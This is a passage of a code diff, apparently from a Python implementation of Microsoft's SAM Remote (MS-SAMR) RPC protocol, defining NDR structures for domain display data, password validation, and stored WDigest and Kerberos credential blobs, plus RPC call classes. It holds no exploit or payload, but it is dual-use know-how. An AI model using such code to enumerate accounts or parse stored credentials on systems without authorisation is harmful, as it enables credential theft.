+        USER_INFORMATION_CLASS.UserInternal4InformationNew: ('Internal4New', SAMPR_USER_INTERNAL4_INFORMATION_NEW),
+        USER_INFORMATION_CLASS.UserInternal5InformationNew: ('Internal5New', SAMPR_USER_INTERNAL5_INFORMATION_NEW),
+    }
+
+class PSAMPR_USER_INFO_BUFFER(NDRPOINTER):
+    referent = (
+        ('Data', SAMPR_USER_INFO_BUFFER),
+    )
+
+class PSAMPR_SERVER_NAME2(NDRPOINTER):
+    referent = (
+        ('Data', '4s=b""'),
+    )
+
+# 2.2.8.2 SAMPR_DOMAIN_DISPLAY_USER
+class SAMPR_DOMAIN_DISPLAY_USER(NDRSTRUCT):
+    structure = (
+        ('Index',ULONG),
+        ('Rid',ULONG),
+        ('AccountControl',ULONG),
+        ('AccountName',RPC_UNICODE_STRING),
+        ('AdminComment',RPC_UNICODE_STRING),
+        ('FullName',RPC_UNICODE_STRING),
+    )
+
+class SAMPR_DOMAIN_DISPLAY_USER_ARRAY(NDRUniConformantArray):
+    item = SAMPR_DOMAIN_DISPLAY_USER
+
+class PSAMPR_DOMAIN_DISPLAY_USER_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data',SAMPR_DOMAIN_DISPLAY_USER_ARRAY),
+    )
+
+# 2.2.8.3 SAMPR_DOMAIN_DISPLAY_MACHINE
+class SAMPR_DOMAIN_DISPLAY_MACHINE(NDRSTRUCT):
+    structure = (
+        ('Index',ULONG),
+        ('Rid',ULONG),
+        ('AccountControl',ULONG),
+        ('AccountName',RPC_UNICODE_STRING),
+        ('AdminComment',RPC_UNICODE_STRING),
+    )
+
+class SAMPR_DOMAIN_DISPLAY_MACHINE_ARRAY(NDRUniConformantArray):
+    item = SAMPR_DOMAIN_DISPLAY_MACHINE
+
+class PSAMPR_DOMAIN_DISPLAY_MACHINE_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data',SAMPR_DOMAIN_DISPLAY_MACHINE_ARRAY),
+    )
+
+# 2.2.8.4 SAMPR_DOMAIN_DISPLAY_GROUP
+class SAMPR_DOMAIN_DISPLAY_GROUP(NDRSTRUCT):
+    structure = (
+        ('Index',ULONG),
+        ('Rid',ULONG),
+        ('AccountControl',ULONG),
+        ('AccountName',RPC_UNICODE_STRING),
+        ('AdminComment',RPC_UNICODE_STRING),
+    )
+
+class SAMPR_DOMAIN_DISPLAY_GROUP_ARRAY(NDRUniConformantArray):
+    item = SAMPR_DOMAIN_DISPLAY_GROUP
+
+class PSAMPR_DOMAIN_DISPLAY_GROUP_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data',SAMPR_DOMAIN_DISPLAY_GROUP_ARRAY),
+    )
+
+# 2.2.8.5 SAMPR_DOMAIN_DISPLAY_OEM_USER
+class SAMPR_DOMAIN_DISPLAY_OEM_USER(NDRSTRUCT):
+    structure = (
+        ('Index',ULONG),
+        ('OemAccountName',RPC_STRING),
+    )
+
+class SAMPR_DOMAIN_DISPLAY_OEM_USER_ARRAY(NDRUniConformantArray):
+    item = SAMPR_DOMAIN_DISPLAY_OEM_USER
+
+class PSAMPR_DOMAIN_DISPLAY_OEM_USER_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data',SAMPR_DOMAIN_DISPLAY_OEM_USER_ARRAY),
+    )
+
+# 2.2.8.6 SAMPR_DOMAIN_DISPLAY_OEM_GROUP
+class SAMPR_DOMAIN_DISPLAY_OEM_GROUP(NDRSTRUCT):
+    structure = (
+        ('Index',ULONG),
+        ('OemAccountName',RPC_STRING),
+    )
+
+class SAMPR_DOMAIN_DISPLAY_OEM_GROUP_ARRAY(NDRUniConformantArray):
+    item = SAMPR_DOMAIN_DISPLAY_OEM_GROUP
+
+class PSAMPR_DOMAIN_DISPLAY_OEM_GROUP_ARRAY(NDRPOINTER):
+    referent = (
+        ('Data',SAMPR_DOMAIN_DISPLAY_OEM_GROUP_ARRAY),
+    )
+
+#2.2.8.7 SAMPR_DOMAIN_DISPLAY_USER_BUFFER
+class SAMPR_DOMAIN_DISPLAY_USER_BUFFER(NDRSTRUCT):
+    structure = (
+        ('EntriesRead', ULONG),
+        ('Buffer', PSAMPR_DOMAIN_DISPLAY_USER_ARRAY),
+    )
+
+# 2.2.8.8 SAMPR_DOMAIN_DISPLAY_MACHINE_BUFFER
+class SAMPR_DOMAIN_DISPLAY_MACHINE_BUFFER(NDRSTRUCT):
+    structure = (
+        ('EntriesRead', ULONG),
+        ('Buffer', PSAMPR_DOMAIN_DISPLAY_MACHINE_ARRAY),
+    )
+
+# 2.2.8.9 SAMPR_DOMAIN_DISPLAY_GROUP_BUFFER
+class SAMPR_DOMAIN_DISPLAY_GROUP_BUFFER(NDRSTRUCT):
+    structure = (
+        ('EntriesRead', ULONG),
+        ('Buffer', PSAMPR_DOMAIN_DISPLAY_GROUP_ARRAY),
+    )
+
+# 2.2.8.10 SAMPR_DOMAIN_DISPLAY_OEM_USER_BUFFER
+class SAMPR_DOMAIN_DISPLAY_OEM_USER_BUFFER(NDRSTRUCT):
+    structure = (
+        ('EntriesRead', ULONG),
+        ('Buffer', PSAMPR_DOMAIN_DISPLAY_OEM_USER_ARRAY),
+    )
+
+# 2.2.8.11 SAMPR_DOMAIN_DISPLAY_OEM_GROUP_BUFFER
+class SAMPR_DOMAIN_DISPLAY_OEM_GROUP_BUFFER(NDRSTRUCT):
+    structure = (
+        ('EntriesRead', ULONG),
+        ('Buffer', PSAMPR_DOMAIN_DISPLAY_OEM_GROUP_ARRAY),
+    )
+
+# 2.2.8.12 DOMAIN_DISPLAY_INFORMATION
+class DOMAIN_DISPLAY_INFORMATION(NDRENUM):
+    class enumItems(Enum):
+        DomainDisplayUser     = 1
+        DomainDisplayMachine  = 2
+        DomainDisplayGroup    = 3
+        DomainDisplayOemUser  = 4
+        DomainDisplayOemGroup = 5
+
+# 2.2.8.13 SAMPR_DISPLAY_INFO_BUFFER
+class SAMPR_DISPLAY_INFO_BUFFER(NDRUNION):
+    union = {
+        DOMAIN_DISPLAY_INFORMATION.DomainDisplayUser     : ('UserInformation', SAMPR_DOMAIN_DISPLAY_USER_BUFFER),
+        DOMAIN_DISPLAY_INFORMATION.DomainDisplayMachine  : ('MachineInformation', SAMPR_DOMAIN_DISPLAY_MACHINE_BUFFER),
+        DOMAIN_DISPLAY_INFORMATION.DomainDisplayGroup    : ('GroupInformation', SAMPR_DOMAIN_DISPLAY_GROUP_BUFFER),
+        DOMAIN_DISPLAY_INFORMATION.DomainDisplayOemUser  : ('OemUserInformation', SAMPR_DOMAIN_DISPLAY_OEM_USER_BUFFER),
+        DOMAIN_DISPLAY_INFORMATION.DomainDisplayOemGroup : ('OemGroupInformation', SAMPR_DOMAIN_DISPLAY_OEM_GROUP_BUFFER),
+    }
+
+# 2.2.9.1 SAM_VALIDATE_PASSWORD_HASH
+class SAM_VALIDATE_PASSWORD_HASH(NDRSTRUCT):
+    structure = (
+        ('Length', ULONG),
+        ('Hash', LPBYTE),
+    )
+
+class PSAM_VALIDATE_PASSWORD_HASH(NDRPOINTER):
+    referent = (
+        ('Data', SAM_VALIDATE_PASSWORD_HASH),
+    )
+
+# 2.2.9.2 SAM_VALIDATE_PERSISTED_FIELDS
+class SAM_VALIDATE_PERSISTED_FIELDS(NDRSTRUCT):
+    structure = (
+        ('PresentFields', ULONG),
+        ('PasswordLastSet', LARGE_INTEGER),
+        ('BadPasswordTime', LARGE_INTEGER),
+        ('LockoutTime', LARGE_INTEGER),
+        ('BadPasswordCount', ULONG),
+        ('PasswordHistoryLength', ULONG),
+        ('PasswordHistory', PSAM_VALIDATE_PASSWORD_HASH),
+    )
+
+# 2.2.9.3 SAM_VALIDATE_VALIDATION_STATUS
+class SAM_VALIDATE_VALIDATION_STATUS(NDRENUM):
+    class enumItems(Enum):
+        SamValidateSuccess                  = 0
+        SamValidatePasswordMustChange       = 1
+        SamValidateAccountLockedOut         = 2
+        SamValidatePasswordExpired          = 3
+        SamValidatePasswordIncorrect        = 4
+        SamValidatePasswordIsInHistory      = 5
+        SamValidatePasswordTooShort         = 6
+        SamValidatePasswordTooLong          = 7
+        SamValidatePasswordNotComplexEnough = 8
+        SamValidatePasswordTooRecent        = 9
+        SamValidatePasswordFilterError      = 10
+
+# 2.2.9.4 SAM_VALIDATE_STANDARD_OUTPUT_ARG
+class SAM_VALIDATE_STANDARD_OUTPUT_ARG(NDRSTRUCT):
+    structure = (
+        ('ChangedPersistedFields', SAM_VALIDATE_PERSISTED_FIELDS),
+        ('ValidationStatus', SAM_VALIDATE_VALIDATION_STATUS),
+    )
+
+class PSAM_VALIDATE_STANDARD_OUTPUT_ARG(NDRPOINTER):
+    referent = (
+        ('Data', SAM_VALIDATE_STANDARD_OUTPUT_ARG),
+    )
+
+# 2.2.9.5 SAM_VALIDATE_AUTHENTICATION_INPUT_ARG
+class SAM_VALIDATE_AUTHENTICATION_INPUT_ARG(NDRSTRUCT):
+    structure = (
+        ('InputPersistedFields', SAM_VALIDATE_PERSISTED_FIELDS),
+        ('PasswordMatched', UCHAR),
+    )
+
+# 2.2.9.6 SAM_VALIDATE_PASSWORD_CHANGE_INPUT_ARG
+class SAM_VALIDATE_PASSWORD_CHANGE_INPUT_ARG(NDRSTRUCT):
+    structure = (
+        ('InputPersistedFields', SAM_VALIDATE_PERSISTED_FIELDS),
+        ('ClearPassword', RPC_UNICODE_STRING),
+        ('UserAccountName', RPC_UNICODE_STRING),
+        ('HashedPassword', SAM_VALIDATE_PASSWORD_HASH),
+        ('PasswordMatch', UCHAR),
+    )
+
+# 2.2.9.7 SAM_VALIDATE_PASSWORD_RESET_INPUT_ARG
+class SAM_VALIDATE_PASSWORD_RESET_INPUT_ARG(NDRSTRUCT):
+    structure = (
+        ('InputPersistedFields', SAM_VALIDATE_PERSISTED_FIELDS),
+        ('ClearPassword', RPC_UNICODE_STRING),
+        ('UserAccountName', RPC_UNICODE_STRING),
+        ('HashedPassword', SAM_VALIDATE_PASSWORD_HASH),
+        ('PasswordMustChangeAtNextLogon', UCHAR),
+        ('ClearLockout', UCHAR),
+    )
+
+# 2.2.9.8 PASSWORD_POLICY_VALIDATION_TYPE
+class PASSWORD_POLICY_VALIDATION_TYPE(NDRENUM):
+    class enumItems(Enum):
+        SamValidateAuthentication   = 1
+        SamValidatePasswordChange   = 2
+        SamValidatePasswordReset    = 3
+
+# 2.2.9.9 SAM_VALIDATE_INPUT_ARG
+class SAM_VALIDATE_INPUT_ARG(NDRUNION):
+    union = {
+        PASSWORD_POLICY_VALIDATION_TYPE.SamValidateAuthentication : ('ValidateAuthenticationInput', SAM_VALIDATE_AUTHENTICATION_INPUT_ARG),
+        PASSWORD_POLICY_VALIDATION_TYPE.SamValidatePasswordChange : ('ValidatePasswordChangeInput', SAM_VALIDATE_PASSWORD_CHANGE_INPUT_ARG),
+        PASSWORD_POLICY_VALIDATION_TYPE.SamValidatePasswordReset  : ('ValidatePasswordResetInput', SAM_VALIDATE_PASSWORD_RESET_INPUT_ARG),
+    }
+
+# 2.2.9.10 SAM_VALIDATE_OUTPUT_ARG
+class SAM_VALIDATE_OUTPUT_ARG(NDRUNION):
+    union = {
+        PASSWORD_POLICY_VALIDATION_TYPE.SamValidateAuthentication : ('ValidateAuthenticationOutput', SAM_VALIDATE_STANDARD_OUTPUT_ARG),
+        PASSWORD_POLICY_VALIDATION_TYPE.SamValidatePasswordChange : ('ValidatePasswordChangeOutput', SAM_VALIDATE_STANDARD_OUTPUT_ARG),
+        PASSWORD_POLICY_VALIDATION_TYPE.SamValidatePasswordReset  : ('ValidatePasswordResetOutput', SAM_VALIDATE_STANDARD_OUTPUT_ARG),
+    }
+
+class PSAM_VALIDATE_OUTPUT_ARG(NDRPOINTER):
+    referent = (
+        ('Data', SAM_VALIDATE_OUTPUT_ARG),
+    )
+
+# 2.2.10 Supplemental Credentials Structures
+
+# 2.2.10.1 USER_PROPERTIES
+class USER_PROPERTIES(Structure):
+    structure = (
+        ('Reserved1','<L=0'),
+        ('Length','<L=0'),
+        ('Reserved2','<H=0'),
+        ('Reserved3','<H=0'),
+        ('Reserved4','96s=""'),
+        ('PropertySignature','<H=0x50'),
+        ('PropertyCount','<H=0'),
+        ('UserProperties',':'),
+    )
+
+# 2.2.10.2 USER_PROPERTY
+class USER_PROPERTY(Structure):
+    structure = (
+        ('NameLength','<H=0'),
+        ('ValueLength','<H=0'),
+        ('Reserved','<H=0'),
+        ('_PropertyName','_-PropertyName', "self['NameLength']"),
+        ('PropertyName',':'),
+        ('_PropertyValue','_-PropertyValue', "self['ValueLength']"),
+        ('PropertyValue',':'),
+    )
+
+# 2.2.10.3 Primary:WDigest - WDIGEST_CREDENTIALS
+class WDIGEST_CREDENTIALS(Structure):
+    structure = (
+        ('Reserved1','B=0'),
+        ('Reserved2','B=0'),
+        ('Version','B=1'),
+        ('NumberOfHashes','B=29'),
+        ('Reserved3','12s=""'),
+        ('Hash1', '16s=""'),
+        ('Hash2', '16s=""'),
+        ('Hash3', '16s=""'),
+        ('Hash4', '16s=""'),
+        ('Hash5', '16s=""'),
+        ('Hash6', '16s=""'),
+        ('Hash7', '16s=""'),
+        ('Hash8', '16s=""'),
+        ('Hash9', '16s=""'),
+        ('Hash10', '16s=""'),
+        ('Hash11', '16s=""'),
+        ('Hash12', '16s=""'),
+        ('Hash13', '16s=""'),
+        ('Hash14', '16s=""'),
+        ('Hash15', '16s=""'),
+        ('Hash16', '16s=""'),
+        ('Hash17', '16s=""'),
+        ('Hash18', '16s=""'),
+        ('Hash19', '16s=""'),
+        ('Hash20', '16s=""'),
+        ('Hash21', '16s=""'),
+        ('Hash22', '16s=""'),
+        ('Hash23', '16s=""'),
+        ('Hash24', '16s=""'),
+        ('Hash25', '16s=""'),
+        ('Hash26', '16s=""'),
+        ('Hash27', '16s=""'),
+        ('Hash28', '16s=""'),
+        ('Hash29', '16s=""'),
+    )
+
+# 2.2.10.5 KERB_KEY_DATA
+class KERB_KEY_DATA(Structure):
+    structure = (
+        ('Reserved1','<H=0'),
+        ('Reserved2','<H=0'),
+        ('Reserved3','<H=0'),
+        ('KeyType','<L=0'),
+        ('KeyLength','<L=0'),
+        ('KeyOffset','<L=0'),
+    )
+
+# 2.2.10.4 Primary:Kerberos - KERB_STORED_CREDENTIAL
+class KERB_STORED_CREDENTIAL(Structure):
+    structure = (
+        ('Revision','<H=3'),
+        ('Flags','<H=0'),
+        ('CredentialCount','<H=0'),
+        ('OldCredentialCount','<H=0'),
+        ('DefaultSaltLength','<H=0'),
+        ('DefaultSaltMaximumLength','<H=0'),
+        ('DefaultSaltOffset','<L=0'),
+        #('Credentials',':'),
+        #('OldCredentials',':'),
+        #('DefaultSalt',':'),
+        #('KeyValues',':'),
+        # All the preceding stuff inside this Buffer
+        ('Buffer',':'),
+    )
+
+# 2.2.10.7 KERB_KEY_DATA_NEW
+class KERB_KEY_DATA_NEW(Structure):
+    structure = (
+        ('Reserved1','<H=0'),
+        ('Reserved2','<H=0'),
+        ('Reserved3','<L=0'),
+        ('IterationCount','<L=0'),
+        ('KeyType','<L=0'),
+        ('KeyLength','<L=0'),
+        ('KeyOffset','<L=0'),
+    )
+
+# 2.2.10.6 Primary:Kerberos-Newer-Keys - KERB_STORED_CREDENTIAL_NEW
+class KERB_STORED_CREDENTIAL_NEW(Structure):
+    structure = (
+        ('Revision','<H=4'),
+        ('Flags','<H=0'),
+        ('CredentialCount','<H=0'),
+        ('ServiceCredentialCount','<H=0'),
+        ('OldCredentialCount','<H=0'),
+        ('OlderCredentialCount','<H=0'),
+        ('DefaultSaltLength','<H=0'),
+        ('DefaultSaltMaximumLength','<H=0'),
+        ('DefaultSaltOffset','<L=0'),
+        ('DefaultIterationCount','<L=0'),
+        #('Credentials',':'),
+        #('ServiceCredentials',':'),
+        #('OldCredentials',':'),
+        #('OlderCredentials',':'),
+        #('DefaultSalt',':'),
+        #('KeyValues',':'),
+        # All the preceding stuff inside this Buffer
+        ('Buffer',':'),
+    )
+
+################################################################################
+# RPC CALLS
+################################################################################
+
+class SamrConnect(NDRCALL):
+    opnum = 0
+    structure = (
+       ('ServerName',PSAMPR_SERVER_NAME2),
+       ('DesiredAccess', ULONG),
+    )
+
+class SamrConnectResponse(NDRCALL):
+    structure = (
+       ('ServerHandle',SAMPR_HANDLE),
+       ('ErrorCode',ULONG),
+    )
+
+class SamrCloseHandle(NDRCALL):
+    opnum = 1
+    structure = (
+       ('SamHandle',SAMPR_HANDLE),
+       ('DesiredAccess', LONG),
+    )
+
+class SamrCloseHandleResponse(NDRCALL):
+    structure = (
+       ('SamHandle',SAMPR_HANDLE),
+       ('ErrorCode',ULONG),
+    )
+
+class SamrSetSecurityObject(NDRCALL):
+    opnum = 2
+    structure = (
+       ('ObjectHandle',SAMPR_HANDLE),
+       ('SecurityInformation', SECURITY_INFORMATION),
+       ('SecurityDescriptor', SAMPR_SR_SECURITY_DESCRIPTOR),
+    )
+
+class SamrSetSecurityObjectResponse(NDRCALL):
+    structure = (
+       ('ErrorCode',ULONG),
+    )
+
+class SamrQuerySecurityObject(NDRCALL):
+    opnum = 3
+    structure = (
+       ('ObjectHandle',SAMPR_HANDLE),
+       ('SecurityInformation', SECURITY_INFORMATION),
+    )
+
+class SamrQuerySecurityObjectResponse(NDRCALL):
+    structure = (
+       ('SecurityDescriptor',PSAMPR_SR_SECURITY_DESCRIPTOR),
+       ('ErrorCode',ULONG),
+    )
+
+class SamrLookupDomainInSamServer(NDRCALL):
+    opnum = 5
+    structure = (
+       ('ServerHandle',SAMPR_HANDLE),
+       ('Name', RPC_UNICODE_STRING),
+    )
+
+class SamrLookupDomainInSamServerResponse(NDRCALL):
+    structure = (
+       ('DomainId',PRPC_SID),
+       ('ErrorCode',ULONG),
+    )
+
+class SamrEnumerateDomainsInSamServer(NDRCALL):
+    opnum = 6
+    structure = (
+       ('ServerHandle',SAMPR_HANDLE),
+       ('EnumerationContext', ULONG),
+       ('PreferedMaximumLength', ULONG),
+    )
+
+class SamrEnumerateDomainsInSamServerResponse(NDRCALL):
+    structure = (
+       ('EnumerationContext',ULONG),
+       ('Buffer',PSAMPR_ENUMERATION_BUFFER),
+       ('CountReturned',ULONG),
+       ('ErrorCode',ULONG),
+    )
+
+class SamrOpenDomain(NDRCALL):
+    opnum = 7
+    structure = (
+       ('ServerHandle',SAMPR_HANDLE),
+       ('DesiredAccess', ULONG),
+       ('DomainId', RPC_SID),
+    )
+
+class SamrOpenDomainResponse(NDRCALL):
+    structure = (
+       ('DomainHandle',SAMPR_HANDLE),
+       ('ErrorCode',ULONG),
+    )
+
+class SamrQueryInformationDomain(NDRCALL):
+    opnum = 8
+    structure = (
+       ('DomainHandle',SAMPR_HANDLE),
+       ('DomainInformationClass', DOMAIN_INFORMATION_CLASS),
+    )
+
+class SamrQueryInformationDomainResponse(NDRCALL):
+    structure = (
+       ('Buffer',PSAMPR_DOMAIN_INFO_BUFFER),
+       ('ErrorCode',ULONG),
+    )
+
+class SamrSetInformationDomain(NDRCALL):
+    opnum = 9
+    structure = (
+       ('DomainHandle',SAMPR_HANDLE),
+       ('DomainInformationClass', DOMAIN_INFORMATION_CLASS),
+       ('DomainInformation', SAMPR_DOMAIN_INFO_BUFFER),
+    )
+
+class SamrSetInformationDomainResponse(NDRCALL):
+    structure = (
+       ('ErrorCode',ULONG),
+    )
+
+class SamrCreateGroupInDomain(NDRCALL):
+    opnum = 10
+    structure = (
+       ('DomainHandle',SAMPR_HANDLE),
+       ('Name', RPC_UNICODE_STRING),
+       ('DesiredAccess', ULONG),
+    )
+
+class SamrCreateGroupInDomainResponse(NDRCALL):
+    structure = (
+       ('GroupHandle',SAMPR_HANDLE),
+       ('RelativeId',ULONG),
+       ('ErrorCode',ULONG),
+    )
+
+class SamrEnumerateGroupsInDomain(NDRCALL):
+    opnum = 11
+    structure = (
+       ('DomainHandle',SAMPR_HANDLE),
+       ('EnumerationContext', ULONG),
+       ('PreferedMaximumLength', ULONG),
+    )
+
+class SamrCreateUserInDomain(NDRCALL):
+    opnum = 12
+    structure = (
+       ('DomainHandle',SAMPR_HANDLE),
+       ('Name', RPC_UNICODE_STRING),
+       ('DesiredAccess', ULONG),
+    )
+
+class SamrCreateUserInDomainResponse(NDRCALL):
+    structure = (
+       ('UserHandle',SAMPR_HANDLE),
+       ('RelativeId',ULONG),
+       ('ErrorCode',ULONG),
+    )
+
+class SamrEnumerateGroupsInDomainResponse(NDRCALL):
+    structure = (
+       ('EnumerationContext',ULONG),
+       ('Buffer',PSAMPR_ENUMERATION_BUFFER),
+       ('CountReturned',ULONG),
+       ('ErrorCode',ULONG),
+    )
+
+class SamrEnumerateUsersInDomain(NDRCALL):
+    opnum = 13
+    structure = (
+       ('DomainHandle',SAMPR_HANDLE),
+       ('EnumerationContext', ULONG),
+       ('UserAccountControl', ULONG),
+       ('PreferedMaximumLength', ULONG),
+    )
+
+class SamrEnumerateUsersInDomainResponse(NDRCALL):
+    structure = (
+       ('EnumerationContext',ULONG),
+       ('Buffer',PSAMPR_ENUMERATION_BUFFER),
+       ('CountReturned',ULONG),
+       ('ErrorCode',ULONG),
+    )
+
+class SamrCreateAliasInDomain(NDRCALL):
+    opnum = 14
+    structure = (
+       ('DomainHandle',SAMPR_HANDLE),
+       ('AccountName', RPC_UNICODE_STRING),
+       ('DesiredAccess', ULONG),
+    )
+
+class SamrCreateAliasInDomainResponse(NDRCALL):
+    structure = (
+       ('AliasHandle',SAMPR_HANDLE),
+       ('RelativeId',ULONG),
+       ('ErrorCode',ULONG),
+    )
+
+
+class SamrEnumerateAliasesInDomain(NDRCALL):
+    opnum = 15
+    structure = (
+       ('DomainHandle',SAMPR_HANDLE),
+       ('EnumerationContext', ULONG),
+       ('PreferedMaximumLength', ULONG),
+    )
+
+class SamrEnumerateAliasesInDomainResponse(NDRCALL):
+    structure = (
+       ('EnumerationContext',ULONG),
+       ('Buffer',PSAMPR_ENUMERATION_BUFFER),
+       ('CountReturned',ULONG),
+       ('ErrorCode',ULONG),
+    )
+
+class SamrGetAliasMembership(NDRCALL):
+    opnum = 16
+    structure = (
+       ('DomainHandle',SAMPR_HANDLE),
+       ('SidArray',SAMPR_PSID_ARRAY),
+    )
+
+class SamrGetAliasMembershipResponse(NDRCALL):
+    structure = (
+       ('Membership',SAMPR_ULONG_ARRAY),
+       ('ErrorCode',ULONG),
+    )
+
+class SamrLookupNamesInDomain(NDRCALL):
+    opnum = 17
+    structure = (
+       ('DomainHandle',SAMPR_HANDLE),
+       ('Count',ULONG),
+       ('Names',RPC_UNICODE_STRING_ARRAY),
+    )
+
+class SamrLookupNamesInDomainResponse(NDRCALL):
+    structure = (
+       ('RelativeIds',SAMPR_ULONG_ARRAY),
+       ('Use',SAMPR_ULONG_ARRAY),
+       ('ErrorCode',ULONG),
+    )
+
+class SamrLookupIdsInDomain(NDRCALL):
+    opnum = 18
+    structure = (
+       ('DomainHandle',SAMPR_HANDLE),
+       ('Count',ULONG),
+       ('RelativeIds',ULONG_ARRAY_CV),
+    )
+
+class SamrLookupIdsInDomainResponse(NDRCALL):
+    structure = (
+       ('Names',SAMPR_RETURNED_USTRING_ARRAY),
+       ('Use',SAMPR_ULONG_ARRAY),
+       ('ErrorCode',ULONG),
+    )
+
+class SamrOpenGroup(NDRCALL):
+    opnum = 19
+    structure = (
+       ('DomainHandle',SAMPR_HANDLE),
+       ('DesiredAccess', ULONG),
+       ('GroupId', ULONG),
+    )
+
+class SamrOpenGroupResponse(NDRCALL):
+    structure = (
+       ('GroupHandle',SAMPR_HANDLE),
+       ('ErrorCode',ULONG),
+    )
+
+class SamrQueryInformationGroup(NDRCALL):
+    opnum = 20
+    structure = (
+       ('GroupHandle',SAMPR_HANDLE),
+       ('GroupInformationClass', GROUP_INFORMATION_CLASS),
+    )
+
+class SamrQueryInformationGroupResponse(NDRCALL):
+    structure = (
+       ('Buffer',PSAMPR_GROUP_INFO_BUFFER),
+       ('ErrorCode',ULONG),
+    )
+
+class SamrSetInformationGroup(NDRCALL):
+    opnum = 21
+    structure = (
+       ('GroupHandle',SAMPR_HANDLE),
+       ('GroupInformationClass', GROUP_INFORMATION_CLASS),
+       ('Buffer', SAMPR_GROUP_INFO_BUFFER),
+    )
+
+class SamrSetInformationGroupResponse(NDRCALL):
+    structure = (
+       ('ErrorCode',ULONG),
+    )
+
+class SamrAddMemberToGroup(NDRCALL):
+    opnum = 22
+    structure = (
+       ('GroupHandle',SAMPR_HANDLE),
+       ('MemberId', ULONG),
+       ('Attributes', ULONG),
+    )
+
+class SamrAddMemberToGroupResponse(NDRCALL):
+    structure = (
+       ('ErrorCode',ULONG),
+    )
+
+class SamrDeleteGroup(NDRCALL):
+    opnum = 23
+    structure = (
+       ('GroupHandle',SAMPR_HANDLE),
+    )
+
+class SamrDeleteGroupResponse(NDRCALL):
+    structure = (
+       ('GroupHandle',SAMPR_HANDLE),
+       ('ErrorCode',ULONG),
+    )
+
+class SamrRemoveMemberFromGroup(NDRCALL):
+    opnum = 24
+    structure = (
+       ('GroupHandle',SAMPR_HANDLE),
+       ('MemberId', ULONG),
+    )
+
+class SamrRemoveMemberFromGroupResponse(NDRCALL):
+    structure = (
+       ('ErrorCode',ULONG),
+    )
+
+class SamrGetMembersInGroup(NDRCALL):
+    opnum = 25
+    structure = (
+       ('GroupHandle',SAMPR_HANDLE),
+    )
+
+class SamrGetMembersInGroupResponse(NDRCALL):
+    structure = (
+       ('Members',PSAMPR_GET_MEMBERS_BUFFER),
+       ('ErrorCode',ULONG),
+    )
+
+class SamrSetMemberAttributesOfGroup(NDRCALL):
+    opnum = 26
+    structure = (
+       ('GroupHandle',SAMPR_HANDLE),
+       ('MemberId',ULONG),
+       ('Attributes',ULONG),
+    )
+
+class SamrSetMemberAttributesOfGroupResponse(NDRCALL):
+    structure = (
+       ('ErrorCode',ULONG),
+    )
+
+class SamrOpenAlias(NDRCALL):
+    opnum = 27
+    structure = (
+       ('DomainHandle',SAMPR_HANDLE),
+       ('DesiredAccess', ULONG),
+       ('AliasId', ULONG),
+    )
+
+class SamrOpenAliasResponse(NDRCALL):
+    structure = (
+       ('AliasHandle',SAMPR_HANDLE),
+       ('ErrorCode',ULONG),
+    )
+
+class SamrQueryInformationAlias(NDRCALL):
+    opnum = 28
+    structure = (
+       ('AliasHandle',SAMPR_HANDLE),
+       ('AliasInformationClass', ALIAS_INFORMATION_CLASS),
+    )
+
+class SamrQueryInformationAliasResponse(NDRCALL):
+    structure = (
+       ('Buffer',PSAMPR_ALIAS_INFO_BUFFER),
+       ('ErrorCode',ULONG),
+    )
+
+class SamrSetInformationAlias(NDRCALL):
+    opnum = 29
+    structure = (
+       ('AliasHandle',SAMPR_HANDLE),
+       ('AliasInformationClass', ALIAS_INFORMATION_CLASS),
+       ('Buffer',SAMPR_ALIAS_INFO_BUFFER),
+    )
+
+class SamrSetInformationAliasResponse(NDRCALL):
+    structure = (
+       ('ErrorCode',ULONG),
+    )
+
+class SamrDeleteAlias(NDRCALL):
+    opnum = 30
+    structure = (
+       ('AliasHandle',SAMPR_HANDLE),
+    )
+
+class SamrDeleteAliasResponse(NDRCALL):
+    structure = (
+       ('AliasHandle',SAMPR_HANDLE),
+       ('ErrorCode',ULONG),
+    )
+
+class SamrAddMemberToAlias(NDRCALL):
+    opnum = 31
+    structure = (
+       ('AliasHandle',SAMPR_HANDLE),
+       ('MemberId', RPC_SID),
+    )
+
+class SamrAddMemberToAliasResponse(NDRCALL):
+    structure = (
+       ('ErrorCode',ULONG),
+    )
+
+class SamrRemoveMemberFromAlias(NDRCALL):
+    opnum = 32
+    structure = (
+       ('AliasHandle',SAMPR_HANDLE),
+       ('MemberId', RPC_SID),
+    )
+
+class SamrRemoveMemberFromAliasResponse(NDRCALL):
+    structure = (
+       ('ErrorCode',ULONG),
+    )
+
+class SamrGetMembersInAlias(NDRCALL):
+    opnum = 33
+    structure = (
+       ('AliasHandle',SAMPR_HANDLE),
+    )
+
+class SamrGetMembersInAliasResponse(NDRCALL):
+    structure = (
+       ('Members',SAMPR_PSID_ARRAY_OUT),
+       ('ErrorCode',ULONG),
+    )
+
+class SamrOpenUser(NDRCALL):
+    opnum = 34
+    structure = (
+       ('DomainHandle',SAMPR_HANDLE),
+       ('DesiredAccess', ULONG),
+       ('UserId', ULONG),
+    )
+
+class SamrOpenUserResponse(NDRCALL):
+    structure = (
+       ('UserHandle',SAMPR_HANDLE),
+       ('ErrorCode',ULONG),
+    )
+
+class SamrDeleteUser(NDRCALL):
+    opnum = 35
+    structure = (
+       ('UserHandle',SAMPR_HANDLE),
+    )
+
+class SamrDeleteUserResponse(NDRCALL):
+    structure = (
+       ('UserHandle',SAMPR_HANDLE),
+       ('ErrorCode',ULONG),
+    )
+
+class SamrQueryInformationUser(NDRCALL):
+    opnum = 36
+    structure = (
+       ('UserHandle',SAMPR_HANDLE),
+       ('UserInformationClass', USER_INFORMATION_CLASS ),
+    )
+
+class SamrQueryInformationUserResponse(NDRCALL):
+    structure = (
+       ('Buffer',PSAMPR_USER_INFO_BUFFER),
+       ('ErrorCode',ULONG),
+    )
+
+class SamrSetInformationUser(NDRCALL):
+    opnum = 37
+    structure = (
+       ('UserHandle',SAMPR_HANDLE),
+       ('UserInformationClass', USER_INFORMATION_CLASS ),
+       ('Buffer',SAMPR_USER_INFO_BUFFER),
+    )
+
+class SamrSetInformationUserResponse(NDRCALL):
+    structure = (
+       ('ErrorCode',ULONG),
+    )
+
+class SamrChangePasswordUser(NDRCALL):
+    opnum = 38
+    structure = (
+       ('UserHandle',SAMPR_HANDLE),
+       ('LmPresent', UCHAR ),
+       ('OldLmEncryptedWithNewLm',PENCRYPTED_LM_OWF_PASSWORD),
+       ('NewLmEncryptedWithOldLm',PENCRYPTED_LM_OWF_PASSWORD),
